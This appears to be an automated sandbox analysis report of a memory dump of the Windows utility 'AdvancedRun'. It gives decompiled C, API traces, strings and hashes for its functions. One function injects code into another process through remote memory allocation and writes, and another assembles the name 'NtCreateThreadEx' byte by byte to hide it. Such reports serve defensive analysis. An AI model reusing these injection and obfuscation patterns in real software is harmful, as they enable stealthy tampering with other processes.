0x0040a700
0x0040a4ad
0x0040a4b3
0x0040a4b8
0x0040a4c6
0x0040a4cc
0x0040a4cf
0x0040a4dd
0x0040a4e2
0x0040a4e3
0x0040a4ea
0x0040a4e5
0x0040a4e5
0x0040a4e5
0x0040a4ec
0x0040a4f6
0x0040a4fe
0x0040a503
0x0040a504
0x0040a50b
0x0040a506
0x0040a506
0x0040a506
0x0040a50d
0x0040a512
0x0040a518
0x0040a51c
0x0040a523
0x0040a523
0x0040a523
0x0040a528
0x0040a537
0x0040a54c
0x0040a539
0x0040a544
0x0040a549
0x0040a558
0x0040a56d
0x0040a55a
0x0040a565
0x0040a56a
0x0040a579
0x0040a591
0x0040a57b
0x0040a589
0x0040a58e
0x0040a5b4
0x0040a5b7
0x0040a5cc
0x0040a5cf
0x0040a5d4
0x0040a5d7
0x0040a6ed
0x0040a5e5
0x0040a5fa
0x0040a60b
0x0040a61a
0x0040a620
0x0040a623
0x0040a62b
0x0040a62f
0x0040a632
0x0040a659
0x0040a634
0x0040a635
0x0040a641
0x0040a648
0x0040a648
0x0040a668
0x0040a66e
0x0040a685
0x0040a69e
0x0040a6a8
0x0040a6ad
0x0040a6bd
0x0040a6c5
0x0040a6c8
0x0040a6d0
0x0040a6d1
0x0040a6d2
0x0040a6d3
0x0040a6d3
0x0040a6c8
0x0040a6d7
0x0040a6dc
0x0040a6dc
0x0040a6d7
0x00000000

APIs

OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,00000000,?,00402225,?,00000000,?,?,?,?,?,?), ref: 0040A48F
memset.MSVCRT ref: 0040A4B3
GetModuleHandleW.KERNEL32(kernel32.dll,?,?,00000000), ref: 0040A4C0

Part of subcall function 00409C70: GetModuleHandleW.KERNEL32(kernel32.dll,00000000,?,00000000,?,?,?,?,?,?,?,?,?,0040A4D4,?), ref: 00409C90
Part of subcall function 00409C70: GetProcAddress.KERNEL32(00000000,GetProcAddress), ref: 00409CA2
Part of subcall function 00409C70: GetModuleHandleW.KERNEL32(ntdll.dll,?,?,?,?,?,?,?,?,?,0040A4D4,?), ref: 00409CB8
Part of subcall function 00409C70: GetProcAddress.KERNEL32(00000000,LdrGetProcedureAddress), ref: 00409CC0
Part of subcall function 00409C70: strlen.MSVCRT ref: 00409CE4
Part of subcall function 00409C70: strlen.MSVCRT ref: 00409CF1

GetProcAddress.KERNEL32(00000000,CreateProcessW), ref: 0040A4EA
GetProcAddress.KERNEL32(00000000,GetLastError), ref: 0040A50B
VirtualAllocEx.KERNEL32(?,00000000,00008288,00001000,00000004), ref: 0040A5BA
VirtualAllocEx.KERNEL32(?,00000000,00000800,00001000,00000040), ref: 0040A5CF
WriteProcessMemory.KERNEL32(?,00000000,0040A3DC,00000800,00000000), ref: 0040A5FA
WriteProcessMemory.KERNEL32(?,?,?,00008288,00000000), ref: 0040A60B
ResumeThread.KERNEL32(00000000,?,?,?,?), ref: 0040A635
WaitForSingleObject.KERNEL32(00000000,000007D0), ref: 0040A641
CloseHandle.KERNEL32(00000000), ref: 0040A648
memset.MSVCRT ref: 0040A66E
ReadProcessMemory.KERNEL32(?,?,?,00008288,00000000), ref: 0040A685
VirtualFreeEx.KERNEL32(?,?,00000000,00008000), ref: 0040A69E
VirtualFreeEx.KERNEL32(?,?,00000000,00008000), ref: 0040A6A8
FreeLibrary.KERNEL32(?), ref: 0040A6DC
GetLastError.KERNEL32 ref: 0040A6E4
GetLastError.KERNEL32(?,00402225,?,00000000,?,?,?,?,?,?,?,?,00000000), ref: 0040A6F1

Strings

D, xrefs: 0040A528
kernel32.dll, xrefs: 0040A4BB
GetLastError, xrefs: 0040A4FE
CreateProcessW, xrefs: 0040A4DD

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressHandleProcProcessVirtual$FreeMemoryModule$AllocErrorLastWritememsetstrlen$CloseLibraryObjectOpenReadResumeSingleThreadWait
String ID: CreateProcessW$D$GetLastError$kernel32.dll
API String ID: 1572607441-20550370
Opcode ID: 10f7c0c23a9a0f5367f9f105db89101955ccd8852da439e16b2e798f9a4d6596
Instruction ID: 438c2ff444ec8f0d87d8749b995af300a635889f814f068fc812e1417cff7fa3
Opcode Fuzzy Hash: 10f7c0c23a9a0f5367f9f105db89101955ccd8852da439e16b2e798f9a4d6596
Instruction Fuzzy Hash: 557127B1800219EFCB109FA0DD8499E7BB5FF08344F14457AF949B6290CB799E90DF59

Uniqueness

Uniqueness Score: -1.00%

Function 00401093, Relevance: 47.4, APIs: 26, Strings: 1, Instructions: 184
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00401093(void* __ecx, void* __edx, intOrPtr _a4, struct HDC__* _a8, unsigned int _a12) {
				struct tagPOINT _v12;
				void* __esi;
				void* _t47;
				struct HBRUSH__* _t56;
				void* _t61;
				unsigned int _t63;
				void* _t68;
				struct HWND__* _t69;
				struct HWND__* _t70;
				void* _t73;
				unsigned int _t74;
				struct HWND__* _t76;
				struct HWND__* _t77;
				struct HWND__* _t78;
				struct HWND__* _t79;
				unsigned int _t85;
				struct HWND__* _t87;
				struct HWND__* _t89;
				struct HWND__* _t90;
				struct tagPOINT _t96;
				struct tagPOINT _t98;
				signed short _t103;
				void* _t106;
				void* _t117;

				_t106 = __edx;
				_push(__ecx);
				_push(__ecx);
				_t47 = _a4 - 0x110;
				_t117 = __ecx;
				if(_t47 == 0) {
					__eflags =  *0x40feb0;
					if(__eflags != 0) {
						SetDlgItemTextW( *(__ecx + 0x10), 0x3ee, 0x40feb0);
					} else {
						ShowWindow(GetDlgItem( *(__ecx + 0x10), 0x3ed), 0);
						ShowWindow(GetDlgItem( *(_t117 + 0x10), 0x3ee), 0);
					}
					SetWindowTextW( *(_t117 + 0x10), L"AdvancedRun");
					SetDlgItemTextW( *(_t117 + 0x10), 0x3ea, _t117 + 0x40);
					SetDlgItemTextW( *(_t117 + 0x10), 0x3ec, _t117 + 0x23e);
					E0040103E(_t117, __eflags);
					E00404DA9(_t106,  *(_t117 + 0x10), 4);
					goto L30;
				} else {
					_t61 = _t47 - 1;
					if(_t61 == 0) {
						_t103 = _a8;
						_t63 = _t103 >> 0x10;
						__eflags = _t103 - 1;
						if(_t103 == 1) {
							L24:
							__eflags = _t63;
							if(_t63 != 0) {
								goto L30;
							} else {
								EndDialog( *(_t117 + 0x10), _t103 & 0x0000ffff);
								DeleteObject( *(_t117 + 0x43c));
								goto L8;
							}
						} else {
							__eflags = _t103 - 2;
							if(_t103 != 2) {
								goto L30;
							} else {
								goto L24;
							}
						}
					} else {
						_t68 = _t61 - 0x27;
						if(_t68 == 0) {
							_t69 = GetDlgItem( *(__ecx + 0x10), 0x3ec);
							__eflags = _a12 - _t69;
							if(_a12 != _t69) {
								__eflags =  *0x40ff30;
								if( *0x40ff30 == 0) {
									goto L30;
								} else {
									_t70 = GetDlgItem( *(_t117 + 0x10), 0x3ee);
									__eflags = _a12 - _t70;
									if(_a12 != _t70) {
										goto L30;
									} else {
										goto L18;
									}
								}
							} else {
								L18:
								SetBkMode(_a8, 1);
								SetTextColor(_a8, 0xc00000);
								_t56 = GetSysColorBrush(0xf);
							}
						} else {
							_t73 = _t68 - 0xc8;
							if(_t73 == 0) {
								_t74 = _a12;
								_t96 = _t74 & 0x0000ffff;
								_v12.x = _t96;
								_v12.y = _t74 >> 0x10;
								_t76 = GetDlgItem( *(__ecx + 0x10), 0x3ec);
								_push(_v12.y);
								_a8 = _t76;
								_t77 = ChildWindowFromPoint( *(_t117 + 0x10), _t96);
								__eflags = _t77 - _a8;
								if(_t77 != _a8) {
									__eflags =  *0x40ff30;
									if( *0x40ff30 == 0) {
										goto L30;
									} else {
										_t78 = GetDlgItem( *(_t117 + 0x10), 0x3ee);
										_push(_v12.y);
										_t79 = ChildWindowFromPoint( *(_t117 + 0x10), _v12.x);
										__eflags = _t79 - _t78;
										if(_t79 != _t78) {
											goto L30;
										} else {
											goto L13;
										}
									}
								} else {
									L13:
									SetCursor(LoadCursorW(GetModuleHandleW(0), 0x67));
									goto L8;
								}
							} else {
								if(_t73 != 0) {
									L30:
									_t56 = 0;
									__eflags = 0;
								} else {
									_t85 = _a12;
									_t98 = _t85 & 0x0000ffff;
									_v12.x = _t98;
									_v12.y = _t85 >> 0x10;
									_t87 = GetDlgItem( *(__ecx + 0x10), 0x3ec);
									_push(_v12.y);
									_a8 = _t87;
									if(ChildWindowFromPoint( *(_t117 + 0x10), _t98) != _a8) {
										__eflags =  *0x40ff30;
										if( *0x40ff30 == 0) {
											goto L30;
										} else {
											_t89 = GetDlgItem( *(_t117 + 0x10), 0x3ee);
											_push(_v12.y);
											_t90 = ChildWindowFromPoint( *(_t117 + 0x10), _v12);
											__eflags = _t90 - _t89;
											if(_t90 != _t89) {
												goto L30;
											} else {
												_push(0x40ff30);
												goto L7;
											}
										}
									} else {
										_push(_t117 + 0x23e);
										L7:
										_push( *(_t117 + 0x10));
										E00404F7E();
										L8:
										_t56 = 1;
									}
								}
							}
						}
					}
				}
				return _t56;
			}

0x00401093
0x00401096
0x00401097
0x0040109b
0x004010a3
0x004010a5
0x00401270
0x00401278
0x004012b3
0x0040127a
0x00401293
0x004012a2
0x004012a2
0x004012c1
0x004012d9
0x004012ea
0x004012ec
0x004012f6
0x00000000
0x004010ab
0x004010ab
0x004010ac
0x00401231
0x00401236
0x00401239
0x0040123d
0x00401249
0x00401249
0x0040124c
0x00000000
0x00401252
0x00401259
0x00401265
0x00000000
0x00401265
0x0040123f
0x0040123f
0x00401243
0x00000000
0x00000000
0x00000000
0x00000000
0x00401243
0x004010b2
0x004010b2
0x004010b5
0x004011e1
0x004011e3
0x004011e6
0x0040120e
0x00401216
0x00000000
0x0040121c
0x00401224
0x00401226
0x00401229
0x00000000
0x0040122f
0x00000000
0x0040122f
0x00401229
0x004011e8
0x004011e8
0x004011ed
0x004011fb
0x00401203
0x00401203
0x004010bb
0x004010bb
0x004010c0
0x00401151
0x0040115a
0x00401168
0x0040116b
0x0040116e
0x00401170
0x00401173
0x00401180
0x00401182
0x00401185
0x004011a4
0x004011ac
0x00000000
0x004011b2
0x004011ba
0x004011bc
0x004011c7
0x004011c9
0x004011cb
0x00000000
0x004011d1
0x00000000
0x004011d1
0x004011cb
0x00401187
0x00401187
0x00401199
0x00000000
0x00401199
0x004010c6
0x004010c8
0x004012fd
0x004012fd
0x004012fd
0x004010ce
0x004010ce
0x004010d7
0x004010e5
0x004010e8
0x004010eb
0x004010ed
0x004010f0
0x00401102
0x0040111d
0x00401125
0x00000000
0x0040112b
0x00401133
0x00401135
0x00401140
0x00401142
0x00401144
0x00000000
0x0040114a
0x0040114a
0x00000000
0x0040114a
0x00401144
0x00401104
0x0040110a
0x0040110b
0x0040110b
0x0040110e
0x00401115
0x00401117
0x00401117
0x00401102
0x004010c8
0x004010c0
0x004010b5
0x004010ac
0x00401303

APIs

GetDlgItem.USER32 ref: 004010EB
ChildWindowFromPoint.USER32 ref: 004010FD
GetDlgItem.USER32 ref: 00401133
ChildWindowFromPoint.USER32 ref: 00401140
GetDlgItem.USER32 ref: 0040116E
ChildWindowFromPoint.USER32 ref: 00401180
GetModuleHandleW.KERNEL32(00000000,?,?), ref: 00401189
LoadCursorW.USER32(00000000,00000067), ref: 00401192
SetCursor.USER32(00000000,?,?), ref: 00401199
GetDlgItem.USER32 ref: 004011BA
ChildWindowFromPoint.USER32 ref: 004011C7
GetDlgItem.USER32 ref: 004011E1
SetBkMode.GDI32(?,00000001), ref: 004011ED
SetTextColor.GDI32(?,00C00000), ref: 004011FB
GetSysColorBrush.USER32(0000000F), ref: 00401203
GetDlgItem.USER32 ref: 00401224
EndDialog.USER32(?,?), ref: 00401259
DeleteObject.GDI32(?), ref: 00401265
GetDlgItem.USER32 ref: 0040128A
ShowWindow.USER32(00000000), ref: 00401293
GetDlgItem.USER32 ref: 0040129F
ShowWindow.USER32(00000000), ref: 004012A2
SetDlgItemTextW.USER32 ref: 004012B3
SetWindowTextW.USER32(?,AdvancedRun), ref: 004012C1
SetDlgItemTextW.USER32 ref: 004012D9
SetDlgItemTextW.USER32 ref: 004012EA

Strings

AdvancedRun, xrefs: 004012B9

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: Item$Window$Text$ChildFromPoint$ColorCursorShow$BrushDeleteDialogHandleLoadModeModuleObject
String ID: AdvancedRun
API String ID: 829165378-481304740
Opcode ID: a07d2d5b487f31c3e1d27064e8330fba163acc1cc8c3fec135df1b57c4fd270f
Instruction ID: 224fbb10fd18d8c83ffedf6f1f5ae1765c75c0bde1a98b5884793aa0480d770d
Opcode Fuzzy Hash: a07d2d5b487f31c3e1d27064e8330fba163acc1cc8c3fec135df1b57c4fd270f
Instruction Fuzzy Hash: 12517D31510308EBDB216FA0DD84E6A7BB6FB44304F104A3AFA11B65F1CB79A954EB18

Uniqueness

Uniqueness Score: -1.00%

Function 00408ADB, Relevance: 42.2, APIs: 22, Strings: 2, Instructions: 216
windowCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E00408ADB(void* __ecx, void* __edx, void* __eflags, struct HWND__* _a4, void* _a8, unsigned int _a12) {
				void _v259;
				void _v260;
				void _v515;
				void _v516;
				char _v1048;
				void _v1052;
				void _v1056;
				void _v1560;
				long _v1580;
				void _v3626;
				char _v3628;
				void _v5674;
				char _v5676;
				void _v9770;
				short _v9772;
				void* __edi;
				void* _t45;
				void* _t60;
				int _t61;
				int _t63;
				int _t64;
				long _t68;
				struct HWND__* _t94;
				signed int _t103;
				intOrPtr _t127;
				unsigned int _t130;
				void* _t132;
				void* _t135;

				E0040B550(0x2628, __ecx);
				_t45 = _a8 - 0x110;
				if(_t45 == 0) {
					E00404DA9(__edx, _a4, 4);
					_v9772 = 0;
					memset( &_v9770, 0, 0xffe);
					_t103 = 5;
					memcpy( &_v1580, L"{Unknown}", _t103 << 2);
					memset( &_v1560, 0, 0x1f6);
					_v260 = 0;
					memset( &_v259, 0, 0xff);
					_v516 = 0;
					memset( &_v515, 0, 0xff);
					_v5676 = 0;
					memset( &_v5674, 0, 0x7fe);
					_v3628 = 0;
					memset( &_v3626, 0, 0x7fe);
					_t135 = _t132 + 0x5c;
					_t60 = GetCurrentProcess();
					_t105 =  &_v260;
					_a8 = _t60;
					_t61 = ReadProcessMemory(_t60,  *0x40f3bc,  &_v260, 0x80, 0);
					__eflags = _t61;
					if(_t61 != 0) {
						E00404FE0( &_v5676,  &_v260, 4);
						_pop(_t105);
					}
					_t63 = ReadProcessMemory(_a8,  *0x40f3b0,  &_v516, 0x80, 0);
					__eflags = _t63;
					if(_t63 != 0) {
						E00404FE0( &_v3628,  &_v516, 0);
						_pop(_t105);
					}
					_t64 = E00404BD3();
					__eflags = _t64;
					if(_t64 == 0) {
						E004090EE();
					} else {
						E00409172();
					}
					__eflags =  *0x4101b8; // 0x0
					if(__eflags != 0) {
						L17:
						_v1056 = 0;
						memset( &_v1052, 0, 0x218);
						_t127 =  *0x40f5d4; // 0x0
						_t135 = _t135 + 0xc;
						_t68 = GetCurrentProcessId();
						_push(_t127);
						_push(_t68);
						 *0x40f84c = 0;
						E004092F0(_t105, __eflags);
						__eflags =  *0x40f84c; // 0x0
						if(__eflags != 0) {
							memcpy( &_v1056, 0x40f850, 0x21c);
							_t135 = _t135 + 0xc;
							__eflags =  *0x40f84c; // 0x0
							if(__eflags != 0) {
								wcscpy( &_v1580, E00404B3E( &_v1048));
							}
						}
						goto L20;
					} else {
						__eflags =  *0x4101bc; // 0x0
						if(__eflags == 0) {
							L20:
							_push( &_v3628);
							_push( &_v5676);
							_push( *0x40f3b0);
							_push( *0x40f3bc);
							_push( *0x40f3ac);
							_push( *0x40f394);
							_push( *0x40f398);
							_push( *0x40f3a0);
							_push( *0x40f3a4);
							_push( *0x40f39c);
							_push( *0x40f3a8);
							_push( &_v1580);
							_push( *0x40f5d4);
							_push( *0x40f5c8);
							_push(L"Exception %8.8X at address %8.8X in module %s\r\nRegisters: \r\nEAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8X\r\nESI=%8.8X EDI=%8.8X EBP=%8.8X ESP=%8.8X\r\nEIP=%8.8X\r\nStack Data: %s\r\nCode Data: %s\r\n");
							_push(0x800);
							_push( &_v9772);
							L0040B1EC();
							SetDlgItemTextW(_a4, 0x3ea,  &_v9772);
							SetFocus(GetDlgItem(_a4, 0x3ea));
							L21:
							return 0;
						}
						goto L17;
					}
				}
				if(_t45 == 1) {
					_t130 = _a12;
					if(_t130 >> 0x10 == 0) {
						if(_t130 == 3) {
							_t94 = GetDlgItem(_a4, 0x3ea);
							_a4 = _t94;
							SendMessageW(_t94, 0xb1, 0, 0xffff);
							SendMessageW(_a4, 0x301, 0, 0);
							SendMessageW(_a4, 0xb1, 0, 0);
						}
					}
				}
				goto L21;
			}

0x00408ae3
0x00408aeb
0x00408af3
0x00408b76
0x00408b8a
0x00408b91
0x00408b98
0x00408bb1
0x00408bb3
0x00408bc6
0x00408bcc
0x00408bda
0x00408be0
0x00408bf3
0x00408bfa
0x00408c0b
0x00408c12
0x00408c17
0x00408c1a
0x00408c2c
0x00408c39
0x00408c3d
0x00408c3f
0x00408c41
0x00408c52
0x00408c58
0x00408c58
0x00408c6f
0x00408c71
0x00408c73
0x00408c83
0x00408c89
0x00408c89
0x00408c8a
0x00408c8f
0x00408c91
0x00408c9a
0x00408c93
0x00408c93
0x00408c93
0x00408c9f
0x00408ca5
0x00408caf
0x00408cbc
0x00408cc2
0x00408cc7
0x00408ccd
0x00408cd0
0x00408cd6
0x00408cd7
0x00408cd8
0x00408cde
0x00408ce3
0x00408ceb
0x00408cfe
0x00408d03
0x00408d06
0x00408d0c
0x00408d21
0x00408d27
0x00408d0c
0x00000000
0x00408ca7
0x00408ca7
0x00408cad
0x00408d28
0x00408d2e
0x00408d35
0x00408d36
0x00408d42
0x00408d48
0x00408d4e
0x00408d54
0x00408d5a
0x00408d60
0x00408d66
0x00408d6c
0x00408d72
0x00408d73
0x00408d7f
0x00408d85
0x00408d8a
0x00408d8f
0x00408d90
0x00408da8
0x00408db9
0x00408dbf
0x00408dc5
0x00408dc5
0x00000000
0x00408cad
0x00408ca5
0x00408af6
0x00408afc
0x00408b07
0x00408b2a
0x00408b38
0x00408b53
0x00408b56
0x00408b62
0x00408b6a
0x00408b6a
0x00408b2a
0x00408b07
0x00000000

APIs

EndDialog.USER32(?,?), ref: 00408B20
GetDlgItem.USER32 ref: 00408B38
SendMessageW.USER32(00000000,000000B1,00000000,0000FFFF), ref: 00408B56
SendMessageW.USER32(?,00000301,00000000,00000000), ref: 00408B62
SendMessageW.USER32(?,000000B1,00000000,00000000), ref: 00408B6A
memset.MSVCRT ref: 00408B91
memset.MSVCRT ref: 00408BB3
memset.MSVCRT ref: 00408BCC
memset.MSVCRT ref: 00408BE0
memset.MSVCRT ref: 00408BFA
memset.MSVCRT ref: 00408C12
GetCurrentProcess.KERNEL32 ref: 00408C1A
ReadProcessMemory.KERNEL32(00000000,?,00000080,00000000), ref: 00408C3D
ReadProcessMemory.KERNEL32(?,?,00000080,00000000), ref: 00408C6F
memset.MSVCRT ref: 00408CC2
GetCurrentProcessId.KERNEL32 ref: 00408CD0
memcpy.MSVCRT ref: 00408CFE
wcscpy.MSVCRT ref: 00408D21
_snwprintf.MSVCRT ref: 00408D90
SetDlgItemTextW.USER32 ref: 00408DA8
GetDlgItem.USER32 ref: 00408DB2
SetFocus.USER32(00000000), ref: 00408DB9

Strings

Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X, xrefs: 00408D85
{Unknown}, xrefs: 00408BA5

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: memset$Process$ItemMessageSend$CurrentMemoryRead$DialogFocusText_snwprintfmemcpywcscpy
String ID: Exception %8.8X at address %8.8X in module %sRegisters: EAX=%8.8X EBX=%8.8X ECX=%8.8X EDX=%8.8XESI=%8.8X EDI=%8.8X EBP=%8.8X${Unknown}
API String ID: 4111938811-1819279800
Opcode ID: da6163a693f44e98dc338dc238bd85c57536ed619285caa4b2ce51e2a39adb2b
Instruction ID: 89cdabe1f300c5598f457b205db6f7bf21b56caa474a1127ebd0a37068e91017
Opcode Fuzzy Hash: da6163a693f44e98dc338dc238bd85c57536ed619285caa4b2ce51e2a39adb2b
Instruction Fuzzy Hash: FD7184B280021DBEDB219B51DD85EDB377CEF08354F0444BAFA08B6191DB799E848F68

Uniqueness

Uniqueness Score: -1.00%

Function 0040B04D, Relevance: 33.4, APIs: 8, Strings: 11, Instructions: 139
COMMON

Download Yara Rule

C-Code - Quality: 82%

			E0040B04D(intOrPtr* __edi, short* _a4) {
				int _v8;
				void* _v12;
				void* _v16;
				int _v20;
				long _v60;
				char _v572;
				void* __esi;
				int _t47;
				void* _t50;
				signed short* _t76;
				void* _t81;
				void* _t84;
				intOrPtr* _t96;
				int _t97;

				_t96 = __edi;
				_t97 = 0;
				_v20 = 0;
				_t47 = GetFileVersionInfoSizeW(_a4,  &_v20);
				_v8 = _t47;
				if(_t47 > 0) {
					_t50 = E00405AA7(__edi);
					_push(_v8);
					L0040B26C();
					_t84 = _t50;
					GetFileVersionInfoW(_a4, 0, _v8, _t84);
					if(VerQueryValueW(_t84, "\\",  &_v12,  &_v8) != 0) {
						_t81 = _v12;
						_t11 = _t81 + 0x30; // 0x4d46e853
						 *((intOrPtr*)(__edi + 4)) =  *_t11;
						_t13 = _t81 + 8; // 0x8d50ffff
						 *__edi =  *_t13;
						_t14 = _t81 + 0x14; // 0x5900004d
						 *((intOrPtr*)(__edi + 0xc)) =  *_t14;
						_t16 = _t81 + 0x10; // 0x65e850ff
						 *((intOrPtr*)(__edi + 8)) =  *_t16;
						_t18 = _t81 + 0x24; // 0xf4680000
						 *((intOrPtr*)(__edi + 0x10)) =  *_t18;
						_t20 = _t81 + 0x28; // 0xbb0040cd
						 *((intOrPtr*)(__edi + 0x14)) =  *_t20;
					}
					if(VerQueryValueW(_t84, L"\\VarFileInfo\\Translation",  &_v16,  &_v8) == 0) {
						L5:
						wcscpy( &_v60, L"040904E4");
					} else {
						_t76 = _v16;
						_push(_t76[1] & 0x0000ffff);
						_push( *_t76 & 0x0000ffff);
						_push(L"%4.4X%4.4X");
						_push(0x14);
						_push( &_v60);
						L0040B1EC();
						if(E0040AFBE( &_v572, _t84,  &_v60, 0x40c4e8) == 0) {
							goto L5;
						}
					}
					E0040AFBE(_t96 + 0x18, _t84,  &_v60, L"ProductName");
					E0040AFBE(_t96 + 0x218, _t84,  &_v60, L"FileDescription");
					E0040AFBE(_t96 + 0x418, _t84,  &_v60, L"FileVersion");
					E0040AFBE(_t96 + 0x618, _t84,  &_v60, L"ProductVersion");
					E0040AFBE(_t96 + 0x818, _t84,  &_v60, L"CompanyName");
					E0040AFBE(_t96 + 0xa18, _t84,  &_v60, L"InternalName");
					E0040AFBE(_t96 + 0xc18, _t84,  &_v60, L"LegalCopyright");
					E0040AFBE(_t96 + 0xe18, _t84,  &_v60, L"OriginalFileName");
					_push(_t84);
					_t97 = 1;
					L0040B272();
				}
				return _t97;
			}

0x0040b04d
0x0040b05e
0x0040b060
0x0040b063
0x0040b06a
0x0040b06d
0x0040b076
0x0040b07b
0x0040b07e
0x0040b084
0x0040b08e
0x0040b0a8
0x0040b0aa
0x0040b0ad
0x0040b0b0
0x0040b0b3
0x0040b0b6
0x0040b0b8
0x0040b0bb
0x0040b0be
0x0040b0c1
0x0040b0c4
0x0040b0c7
0x0040b0ca
0x0040b0cd
0x0040b0cd
0x0040b0e5
0x0040b11f
0x0040b128
0x0040b0e7
0x0040b0e7
0x0040b0f1
0x0040b0f2
0x0040b0f3
0x0040b0fb
0x0040b0fd
0x0040b0fe
0x0040b11d
0x00000000
0x00000000
0x0040b11d
0x0040b13c
0x0040b151
0x0040b166
0x0040b17b
0x0040b190
0x0040b1a5
0x0040b1ba
0x0040b1cf
0x0040b1d6
0x0040b1d7
0x0040b1d8
0x0040b1de
0x0040b1e3

APIs

GetFileVersionInfoSizeW.VERSION(004064D2,?,00000000), ref: 0040B063
??2@YAPAXI@Z.MSVCRT ref: 0040B07E
GetFileVersionInfoW.VERSION(004064D2,00000000,?,00000000,00000000,004064D2,?,00000000), ref: 0040B08E
VerQueryValueW.VERSION(00000000,0040CD2C,004064D2,?,004064D2,00000000,?,00000000,00000000,004064D2,?,00000000), ref: 0040B0A1
VerQueryValueW.VERSION(00000000,\VarFileInfo\Translation,?,?,00000000,0040CD2C,004064D2,?,004064D2,00000000,?,00000000,00000000,004064D2,?,00000000), ref: 0040B0DE
_snwprintf.MSVCRT ref: 0040B0FE
wcscpy.MSVCRT ref: 0040B128
??3@YAXPAX@Z.MSVCRT ref: 0040B1D8

Strings

%4.4X%4.4X, xrefs: 0040B0F3
ProductVersion, xrefs: 0040B16B
LegalCopyright, xrefs: 0040B1AA
ProductName, xrefs: 0040B12F
InternalName, xrefs: 0040B195
\VarFileInfo\Translation, xrefs: 0040B0D8
CompanyName, xrefs: 0040B180
040904E4, xrefs: 0040B122
FileVersion, xrefs: 0040B156
FileDescription, xrefs: 0040B141
OriginalFileName, xrefs: 0040B1BF

Memory Dump Source

Source File: 0000001B.00000002.449339946.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000001B.00000002.449277468.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449443463.000000000040C000.00000002.00020000.sdmp Download File
Associated: 0000001B.00000002.449493837.000000000040F000.00000004.00020000.sdmp Download File
Associated: 0000001B.00000002.449543535.000000000041D000.00000002.00020000.sdmp Download File

Similarity

API ID: FileInfoQueryValueVersion$??2@??3@Size_snwprintfwcscpy
String ID: %4.4X%4.4X$040904E4$CompanyName$FileDescription$FileVersion$InternalName$LegalCopyright$OriginalFileName$ProductName$ProductVersion$\VarFileInfo\Translation
API String ID: 1223191525-1542517562
Opcode ID: 7d0a25dbe63dd51685ec4fd467e5617a4705a8ce8e8c15efb6301eb2ec3eaad9
Instruction ID: 283451b663653e95218ba9e6ce5340ec929c4f2fba7a9b8c11281d5ea0e9195a
Opcode Fuzzy Hash: 7d0a25dbe63dd51685ec4fd467e5617a4705a8ce8e8c15efb6301eb2ec3eaad9
Instruction Fuzzy Hash: E34144B2940219BAC704EBA5DD41DDEB7BDEF08704F100177B905B3181DB78AA59CBD8

Uniqueness

Uniqueness Score: -1.00%

Function 0040A1EF, Relevance: 33.3, APIs: 2, Strings: 17, Instructions: 47
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E0040A1EF(struct HINSTANCE__** __esi) {
				char _v8;
				char _v9;
				char _v10;
				char _v11;
				char _v12;
				char _v13;
				char _v14;
				char _v15;
				char _v16;
				char _v17;
				char _v18;
				char _v19;
				char _v20;
				char _v21;
				char _v22;
				char _v23;
				char _v24;
				struct HINSTANCE__* _t27;

				if( *__esi != 0) {
					L3:
					return 1;
				}
				_t27 = LoadLibraryW(L"ntdll.dll");
				 *__esi = _t27;
				if(_t27 != 0) {
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosd");
					asm("stosw");
					asm("stosb");
					_v24 = 0x4e;
					_v23 = 0x74;
					_v13 = 0x65;
					_v12 = 0x61;
					_v18 = 0x74;
					_v17 = 0x65;
					_v22 = 0x43;
					_v14 = 0x72;
					_v11 = 0x64;
					_v21 = 0x72;
					_v10 = 0x45;
					_v9 = 0x78;
					_v20 = 0x65;
					_v19 = 0x61;
					_v16 = 0x54;
					_v15 = 0x68;
					_v8 = 0;
					__esi[1] = GetProcAddress(_t27,  &_v24);
					goto L3;
				}
				return 0;
			}

0x0040a1f8
0x0040a26d
0x00000000
0x0040a26f
0x0040a205
0x0040a20b
0x0040a20d
0x0040a213
0x0040a214
0x0040a215
0x0040a216
0x0040a217
0x0040a219
0x0040a21f
0x0040a223
0x0040a227
0x0040a22b
0x0040a22f
0x0040a233
0x0040a237
0x0040a23b
0x0040a23f
0x0040a243
0x0040a247
0x0040a24b
0x0040a24f
0x0040a253
0x0040a257
0x0040a25b
0x0040a25f
0x0040a269
0x00000000
0x0040a26c
0x0040a271

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,?,?,?,0040A2A4), ref: 0040A1FF
GetProcAddress.KERNEL32(00000000,?), ref: 0040A263

Strings

C, xrefs: 0040A237
e, xrefs: 0040A24F
e, xrefs: 0040A233
x, xrefs: 0040A24B
t, xrefs: 0040A22F
r, xrefs: 0040A23B
